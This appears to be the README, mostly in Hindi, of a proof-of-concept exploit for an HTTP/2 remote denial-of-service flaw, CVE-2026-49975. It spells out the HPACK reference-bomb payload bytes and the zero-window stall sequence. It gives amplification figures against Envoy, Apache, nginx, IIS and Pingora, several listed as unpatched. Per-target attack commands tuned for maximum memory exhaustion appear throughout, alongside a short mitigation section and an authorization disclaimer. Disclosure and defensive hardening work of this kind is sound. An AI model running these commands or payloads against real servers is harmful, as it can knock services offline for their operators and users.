
HTTP/2 Bomb PoC — CVE-2026-49975 (HPACK indexed reference bomb + flow-control stall)
CVE-2026-49975 का प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो HTTP/2 सर्वर इम्प्लीमेंटेशन में एक रिमोट डिनायल-ऑफ-सर्विस कमजोरी है। क्वांग लुओंग (कैलिफ़ सिक्योरिटी रिसर्च) द्वारा खोजा गया, 2 जून 2026 को प्रकाशित किया गया।
केवल अधिकृत सुरक्षा परीक्षण के लिए। उन बुनियादी ढाँचों के खिलाफ उपयोग न करें जिनके आप मालिक नहीं हैं या जिनके परीक्षण की लिखित अनुमति नहीं है।
हमला दो HTTP/2 प्रोटोकॉल तंत्रों को जोड़ता है:
1. HPACK इंडेक्स्ड रेफरेंस बम
HPACK (RFC 7541) प्रेषकों को पहले देखे गए हेडर को इंडेक्स द्वारा संदर्भित करने देता है — आमतौर पर एक बाइट। एक्सप्लॉइट एक बार डायनामिक टेबल में लगभग खाली हेडर डालता है, फिर उसे हज़ारों बार संदर्भित करता है। प्रत्येक 1-बाइट वायर रेफरेंस सर्वर को प्रति एंट्री ~70 बाइट्स आंतरिक बुककीपिंग आवंटित करने के लिए मजबूर करता है। कोई बड़े मान शामिल नहीं होते, इसलिए "अधिकृत डिकोडेड हेडर आकार" की सीमाएँ कभी नहीं लागू होतीं।
2. HTTP/2 फ्लो-कंट्रोल विंडो स्टॉल
शून्य-बाइट प्राप्त विंडो का विज्ञापन करके, हमलावर सर्वर को अपना प्रतिक्रिया भेजने या कोई मेमोरी मुक्त करने से रोकता है। समय-समय पर 1-बाइट फ्रेम सर्वर के सेंड टाइमआउट को रीसेट करते हैं, जिससे आवंटन तब तक जारी रहता है जब तक कनेक्शन खुला है।
WINDOW_UPDATEपरिणाम: ~16 KB प्रति स्ट्रीम भेजा गया → ~1.15 MB सर्वर RAM प्रति स्ट्रीम आवंटित और बनाए रखा गया।
| सर्वर | एम्प्लिफिकेशन | डेमो प्रभाव | स्थिति |
|---|---|---|---|
| Envoy 1.37.2 | ~5,700:1 | 32 GB ~10s में | प्रकाशन के समय कोई पैच नहीं |
| Apache httpd 2.4.67 | ~4,000:1 | 32 GB ~18s में | mod_http2 v2.0.41 में ठीक किया गया |
| nginx < 1.29.8 | ~70:1 | 32 GB ~45s में | nginx 1.29.8 में ठीक किया गया |
| Microsoft IIS (WS 2025) | ~68:1 | 64 GB ~45s में | प्रकाशन के समय कोई पैच नहीं |
| Cloudflare Pingora | ~68:1 | — | प्रकाशन के समय कोई पैच नहीं |
कोई निर्भरता नहीं — केवल stdlib।
# बुनियादी परीक्षण (एकल कनेक्शन)
python3 exploit-test.py target.com 443
# nginx-विशिष्ट बुककीपिंग बम (nginx लक्ष्यों के लिए अनुशंसित)
python3 exploit-test.py target.com 443 --mode nginx --threads 50 --streams 30 --headers 16374
# Apache/Envoy कुकी-क्रम्ब तकनीक
python3 exploit-test.py target.com 443 --mode classic --threads 20 --streams 30 --headers 5000
# HTTP/2 क्लियरटेक्स्ट (दुर्लभ — अधिकांश सर्वरों को h2 के लिए TLS की आवश्यकता होती है)
python3 exploit-test.py target.com 80 --no-ssl
| फ़्लैग | डिफ़ॉल्ट | विवरण |
|---|---|---|
target | — | होस्टनाम या IP |
port | 443 | TCP पोर्ट |
--threads | 1 | समानांतर कनेक्शन (प्रत्येक बंद होने पर पुनः कनेक्ट होता है) |
--streams | 10 | प्रति कनेक्शन HTTP/2 स्ट्रीम |
--headers | 5000 | प्रति स्ट्रीम HPACK इंडेक्स्ड रेफरेंस |
--mode | nginx | nginx (बुककीपिंग, 70:1) या classic (बड़ा मान, 4000:1) |
--no-ssl | बंद | TLS अक्षम करें (h2c) |
कुल_स्ट्रीम = थ्रेड्स × स्ट्रीम
सर्वर_RAM_MB = कुल_स्ट्रीम × हेडर × एम्प्लिफिकेशन_बाइट्स / 1024²
# nginx उदाहरण: 50 × 30 × 16374 × 70 / 1024² = ~1,647 MB
| लक्ष्य | मोड | --headers | नोट्स |
|---|---|---|---|
| nginx < 1.29.8 | nginx | 16374 | डिफ़ॉल्ट http2_max_header_size 16k के भीतर रहता है |
| Apache httpd | classic | 5000 | कुकी क्रम्ब तकनीक |
| Envoy | classic | 32000 | उच्च एम्प्लिफिकेशन |
# HTTP/2 समर्थन और सर्वर संस्करण की पुष्टि करें
curl -sv --http2 https://target.com/ 2>&1 | grep -E "ALPN|HTTP/2|server:"
# असुरक्षित यदि:
# - ALPN: सर्वर ने h2 स्वीकार किया (HTTP/2 सक्षम)
# - server: nginx/X.Y.Z (जहाँ X.Y.Z < 1.29.8)
nginx — 1.29.8+ में अपग्रेड करें और जोड़ें:
http2 max_headers 1000;
या HTTP/2 को पूरी तरह से अक्षम करें:
# "http2" को listen निर्देश से हटाएँ
listen 443 ssl;
Apache httpd — mod_http2 को v2.0.41+ में अपग्रेड करें। अंतरिम: Protocols http/1.1
IIS / Envoy / Pingora — लिखने के समय कोई पैच उपलब्ध नहीं। HTTP/2 अक्षम करें या पैच किए गए प्रॉक्सी के साथ फ्रंट करें।
सामान्य (सभी सर्वर):
# वर्कर मेमोरी को सीमित करके विस्फोट त्रिज्या को सीमित करें
ulimit -v 2097152 # 2 GB प्रति प्रक्रिया
# Docker: --memory="2g" --memory-swap="2g"
डायनामिक टेबल सीड (इंक्रीमेंटल इंडेक्सिंग, इंडेक्स 62 में जोड़ता है):
0x40 | name_len | name | value_len | value
= 0x40 0x06 "x-bomb" 0x00
एंट्री 62 का इंडेक्स्ड रेफरेंस (प्रत्येक 1 बाइट):
0x80 | 62 = 0xbe
प्रति स्ट्रीम वायर पेलोड = 9 बाइट्स (सीड) + N बाइट्स (N रेफरेंस)
प्रति रेफरेंस सर्वर आवंटन ≈ sizeof(ngx_table_elt_t) ≈ 70 बाइट्स
क्लाइंट → सर्वर:
PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n (प्रस्तावना)
SETTINGS [INITIAL_WINDOW_SIZE=0] (स्टॉल सेटअप)
SETTINGS ACK (सर्वर SETTINGS पढ़ने के बाद)
HEADERS [स्ट्रीम 1] ← बम पेलोड (स्यूडो-हेडर + HPACK बम)
HEADERS [स्ट्रीम 3] ← बम पेलोड
...
WINDOW_UPDATE(1) प्रति स्ट्रीम / 1s (कीप-अलाइव स्टॉल)
| फ़ाइल | विवरण |
|---|---|
exploit-test.py | मुख्य PoC — मल्टी-स्ट्रीम, सतत पुनर्संयोजन, nginx + क्लासिक मोड |
SECURITY-REPORT-MIST.md | mist.ac.bd के लिए अधिकृत मूल्यांकन रिपोर्ट |
LICENSE | MIT |